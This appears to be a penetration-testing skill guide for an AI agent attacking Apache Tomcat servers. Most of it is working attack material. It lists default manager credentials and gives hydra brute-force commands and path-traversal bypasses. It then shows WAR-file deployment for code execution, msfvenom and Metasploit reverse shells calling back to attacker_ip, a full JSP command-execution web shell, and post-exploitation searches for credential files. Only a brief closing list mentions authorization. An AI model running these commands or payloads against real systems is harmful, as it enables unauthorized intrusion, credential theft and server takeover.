Tomcat Pentest Skill

A comprehensive skill for assessing Apache Tomcat servers for security vulnerabilities.

When to Use This Skill

Use this skill when:

• You need to enumerate or assess a Tomcat server
• You're testing port 8080 or similar Tomcat ports
• You need to check for default credentials or weak authentication
• You want to exploit known Tomcat vulnerabilities
• You need to upload WAR files for code execution
• You're performing web application security testing on Java servers

Discovery

Port Identification

Tomcat typically runs on port 8080, but check common variants:

• 8080 (default)
• 8005 (shutdown port)
• 8009 (AJP connector)
• 8443 (HTTPS)

Initial Reconnaissance

# Check if Tomcat is running
curl -s http://target:8080/

# Look for Tomcat in response headers
curl -I http://target:8080/ | grep -i server

Enumeration

Version Identification

Identify the Tomcat version to determine applicable vulnerabilities:

# Check docs directory
curl -s http://target:8080/docs/ | grep -i tomcat

# Check manager status (may reveal version)
curl -s http://target:8080/manager/status

# Check error pages for version info
curl -s http://target:8080/nonexistent | grep -i tomcat

Manager Directory Discovery

The manager and host-manager directories are critical targets. They may be renamed:

# Common paths to check
http://target:8080/manager/html
http://target:8080/manager/status
http://target:8080/host-manager/html
http://target:8080/manager/
http://target:8080/admin/

# Use directory brute-forcing
gobuster dir -u http://target:8080 -w /usr/share/wordlists/dirb/common.txt -x html,php,asp

Default Credentials Testing

Test common default credentials on

/manager/html

:

Username	Password
admin	admin
tomcat	tomcat
admin	(empty)
admin	s3cr3t
tomcat	s3cr3t
admin	tomcat
root	root
guest	guest

# Using curl
curl -u admin:admin http://target:8080/manager/html

# Using hydra for brute force
hydra -L users.txt -P passwords.txt -f target http-get /manager/html

# Using Metasploit
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS target
set RPORT 8080
run

Common Vulnerabilities

Password Backtrace Disclosure

Some configurations expose passwords in error pages:

curl -s http://target:8080/auth.jsp

Double URL Encoding (CVE-2007-1860)

Exploit mod_jk double URL encoding for path traversal:

# Access manager via encoded path
curl http://target:8080/%252E%252E/manager/html

# Alternative encoding
curl http://target:8080/..%252F..%252Fmanager/html

Path Traversal via Reverse Proxy

Bypass protected paths using

..;/

trick:

# Access manager through arbitrary path
curl http://target:8080/lalala/..;/manager/html

# Using parameter trick
curl http://target:8080/;param=value/manager/html

Examples Directory Exposure

Check for exposed example scripts (Tomcat 4.x-7.x):

# Sensitive example paths
http://target:8080/examples/jsp/snp/snoop.jsp
http://target:8080/examples/jsp/num/numguess.jsp
http://target:8080/examples/jsp/dates/date.jsp
http://target:8080/examples/servlet/RequestInfoExample
http://target:8080/tomcat-docs/appdev/sample/web/hello.jsp

Remote Code Execution

WAR File Upload via Manager

If you have manager access with appropriate roles (admin, manager, manager-script):

# Deploy WAR file
curl --upload-file shell.war -u 'username:password' \
  "http://target:8080/manager/text/deploy?path=/shell"

# Undeploy WAR file
curl -u 'username:password' \
  "http://target:8080/manager/text/undeploy?path=/shell"

# List deployed applications
curl -u 'username:password' \
  "http://target:8080/manager/text/list"

Metasploit Exploitation

use exploit/multi/http/tomcat_mgr_upload
set RHOSTS target
set RPORT 8080
set HTTPUSERNAME username
set HTTPPASSWORD password
set PAYLOAD java/jsp_shell_reverse_tcp
set LHOST attacker_ip
set LPORT 4444
exploit

MSFVenom WAR Generation

# Generate reverse shell WAR
msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=attacker_ip LPORT=4444 \
  -f war -o revshell.war

# Upload and access
curl --upload-file revshell.war -u 'user:pass' \
  "http://target:8080/manager/text/deploy?path=/revshell"

# Trigger shell
http://target:8080/revshell/

Manual Web Shell Creation

Create a JSP web shell:

# Create index.jsp
cat > index.jsp << 'EOF'
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         String s = null;
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) { e.printStackTrace(); }
   }
%>
<pre><%=output %></pre>
EOF

# Package as WAR
mkdir webshell
cp index.jsp webshell/
cd webshell
jar -cvf ../webshell.war *

Using tomcatWarDeployer

# Clone tool
git clone https://github.com/mgeeky/tomcatWarDeployer.git
cd tomcatWarDeployer

# Reverse shell
./tomcatWarDeployer.py -U username -P password \
  -H attacker_ip -p 4444 target:8080/manager/html/

# Bind shell
./tomcatWarDeployer.py -U username -P password \
  -p 4444 target:8080/manager/html/

Using Clusterd

# Generate and deploy payload
clusterd.py -i target_ip -a tomcat -v 5.5 \
  --gen-payload attacker_ip:4444 \
  --deploy shell.war --invoke --rand-payload -o windows

Post-Exploitation

Locate tomcat-users.xml

# Find configuration file
find / -name tomcat-users.xml 2>/dev/null

# Common locations
/usr/share/tomcat9/etc/tomcat-users.xml
/opt/tomcat/conf/tomcat-users.xml
/etc/tomcat/tomcat-users.xml

Understanding User Roles

<!-- Built-in Tomcat manager roles -->
<role rolename="manager-gui" />      <!-- HTML GUI and status pages -->
<role rolename="manager-script" />   <!-- HTTP API and status pages -->
<role rolename="manager-jmx" />      <!-- JMX proxy and status pages -->
<role rolename="manager-status" />   <!-- Status pages only -->
<role rolename="admin-gui" />        <!-- Admin GUI -->
<role rolename="admin-script" />     <!-- Admin HTTP API -->

Privilege Escalation

If you have limited access, try to escalate:

# Check current user permissions
curl -u user:pass http://target:8080/manager/status

# Try to deploy with manager-script role
curl -u user:pass --upload-file shell.war \
  "http://target:8080/manager/text/deploy?path=/shell"

# Access admin functions
curl -u user:pass http://target:8080/admin/html

Additional Tools

• ApacheTomcatScanner: https://github.com/p0dalirius/ApacheTomcatScanner
• Nmap scripts:

  nmap --script http-tomcat-users

  target
• Burp Suite: For manual testing and credential attacks
• Dirb/Dirbuster: For directory enumeration

Workflow Summary

1. Discovery: Identify Tomcat on port 8080
2. Enumeration: Find version, manager paths, exposed directories
3. Authentication: Test default credentials, brute force if needed
4. Vulnerability Check: Test for path traversal, exposed examples
5. Exploitation: Upload WAR file for RCE if manager access obtained
6. Post-Exploitation: Locate config files, escalate privileges

Safety Notes

• Always obtain proper authorization before testing
• Document all findings for the client
• Be careful with destructive operations (undeploy, delete)
• Test in isolated environments when possible
• Follow responsible disclosure practices